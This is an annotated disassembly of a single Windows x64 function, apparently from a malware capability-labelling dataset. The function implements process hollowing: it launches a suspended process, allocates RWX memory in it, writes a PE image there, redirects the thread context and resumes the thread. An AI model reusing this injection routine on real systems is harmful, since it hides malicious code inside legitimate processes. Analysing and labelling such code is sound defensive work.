Function at 0x14001a590
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push r15
mov eax, 0x1948
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000b640
sub rsp, rax
lea rsi, [rsp + 0x58]
mov rbx, rcx
mov r12, rdx
mov rbp, r8
mov rdx, rsi
mov r14, r9
mov r8d, 0x208
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov edx, eax
or eax, 0xffffffff
test edx, edx
je 0x14001a83a
lea r15, [rsp + 0x738]
xor r13d, r13d
mov ecx, 0x482
mov eax, r13d
mov rdi, r15
rep stosd dword [rdi], eax
mov rcx, rsi
mov rdi, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rdx, [rax + rax]
mov rcx, rdx
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x19b0]
mov rsi, r14
mov word [rsp + rax*2 + 0x738], 0x20
lea rax, [r15 + rdx + 2]
mov rdi, rax
mov eax, 0xfffffffe
rep movsb byte [rdi], byte [rsi]
movsxd rsi, dword [rbp + 0x3c]
add rsi, rbp
cmp dword [rsi], 0x4550
jne 0x14001a83a
xor edi, edi
mov rdx, r15
mov qword [rsp + 0x48], rbx
xor r9d, r9d
mov qword [rsp + 0x40], r12
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov edx, eax
mov eax, 0xfffffffd
test edx, edx
je 0x14001a83a
lea r12, [rsp + 0x260]
mov ecx, 0x134
mov eax, r13d
mov rdi, r12
mov rdx, r12
rep stosd dword [rdi], eax
mov rcx, qword [rbx + 8]
mov dword [rsp + 0x290], 0x10000b
call qword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
jne 0x14001a6c8
mov rcx, qword [rbx]
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffffc
jmp 0x14001a83a
mov rdx, qword [rsi + 0x30]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rsi + 0x50]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov rdx, rax
test rax, rax
jne 0x14001a70c
mov rcx, qword [rbx]
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffffb
jmp 0x14001a83a
xor r11d, r11d
mov r14, qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov r8, rbp
xor r13d, r13d
mov qword [rsp + 0x20], r11
mov r9d, dword [rsi + 0x54]
lea r15, [rbp + 0x108]
mov rcx, qword [rbx]
call r14
test eax, eax
jne 0x14001a751
mov rcx, qword [rbx]
mov edx, 0xfffffffa
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffffa
jmp 0x14001a83a
inc r13
movzx eax, word [rsi + 6]
mov rcx, qword [rbx]
cmp r13, rax
jae 0x14001a7a5
imul rdx, r13, 0x28
movsxd rax, dword [rbp + 0x3c]
xor r10d, r10d
add rax, r15
add rax, rdx
mov r8d, dword [rax + 0x14]
mov edx, dword [rax + 0xc]
mov r9d, dword [rax + 0x10]
add rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r10
add r8, rbp
call r14
test eax, eax
jne 0x14001a74e
mov rcx, qword [rbx]
mov edx, 0xfffffff9
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffff9
jmp 0x14001a83a
mov rax, qword [rsp + 0x2e8]
mov r9d, 8
lea r8, [rsp + 0x50]
lea rdx, [rax + 0x10]
xor eax, eax
mov qword [rsp + 0x20], rax
call r14
test eax, eax
jne 0x14001a7df
mov rcx, qword [rbx]
mov edx, 0xfffffff8
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffff8
jmp 0x14001a83a
mov eax, dword [rsi + 0x28]
add rax, qword [rsp + 0x50]
mov rdx, r12
mov qword [rsp + 0x2e0], rax
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.DLL_SetThreadContext]
test eax, eax
jne 0x14001a815
mov rcx, qword [rbx]
mov edx, 0xfffffff7
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffff7
jmp 0x14001a83a
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.DLL_ResumeThread]
mov edx, eax
xor eax, eax
test edx, edx
jne 0x14001a83a
mov rcx, qword [rbx]
mov edx, 0xfffffff6
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 0xfffffff6
add rsp, 0x1948
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret